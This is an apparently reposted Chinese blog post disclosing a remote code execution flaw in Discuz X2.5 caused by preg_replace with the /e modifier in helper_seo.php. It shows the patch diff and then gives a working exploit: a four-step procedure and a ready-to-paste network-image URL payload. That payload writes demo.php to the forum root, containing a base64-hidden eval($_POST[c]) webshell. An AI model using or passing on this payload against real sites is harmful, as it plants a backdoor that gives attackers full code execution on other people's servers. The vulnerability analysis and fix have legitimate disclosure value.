if(!defined('IN_DISCUZ')) {
@@ -89,7 +89,7 @@}
}
if($searcharray && $replacearray) {
- $content = preg_replace("/(.*?)|()|(\[attach\](\d+)\[\/attach\])/ies", 'helper_seo::base64_transform("encode", "", "\\1\\2\\3", "")', $content);
+ $content = preg_replace("/(.*?)|()|(\[attach\](\d+)\[\/attach\])/ies", "helper_seo::base64_transform('encode', '', '\\1\\2\\3', '')", $content);
$content = preg_replace($searcharray, $replacearray, $content, 1);
$content = preg_replace("/(.*?)/ies", "helper_seo::base64_transform('decode', '', '\\1', '')", $content);
}
@@ -100,7 +100,7 @@

public static function base64_transform($type, $prefix, $string, $suffix) {
    if($type == 'encode') {
-      return $prefix.base64_encode(str_replace("\'", "'", $string)).$suffix;    // - -
+      return $prefix.base64_encode(str_replace("\\\"", "\"", $string)).$suffix;
} elseif($type == 'decode') {
       return $prefix.base64_decode($string).$suffix;
}

够清楚吧,问题在/source/class/helper/helper_seo.php 92行附近的:

$content = preg_replace(“/(.*?)|()|(\[attach\](\d+)\[\/attach\])/ies”, ‘helper_seo::base64_transform(“encode”, ““, “\\1\\2\\3″, ““)’, $content);

preg_replace 使用了e修正符,又是双引号,所以导致远程任意代码执行。
需要论坛支持个功能,啥功能看68行 $_G['cache']['relatedlink'],grep下relatedlink一路跟,具体代码先不贴,找到需要后台开个seo功能,在运营-关联链接 /admin.php?frames=yes&action=misc&operation=relatedlink,且至少需要设置一个链接,这功能不是所有管理员都开,但是我觉得大部分都会开,如果不开,它就只能是个后台拿shell的tips了。

function_core.php 1925
function parse_related_link($content, $extent) {
return helper_seo::parse_related_link($content, $extent);
}

看正则

"/(.*?)|()|(\[attach\](\d+)\[\/attach\])/ies"

利用方式: 1.注册任意账户
2.登陆用户,发表blog日志(注意是日志)
3.添加图片,选择网络图片,地址{${fputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}}
4.访问日志,论坛根目录下生成demo.php,一句发密码c
 
感谢会员char投递
来源:http://www.zhu.cm/discuz-x2-5-getwebshell-exp-xday.html
 

源链接

Hacking more

...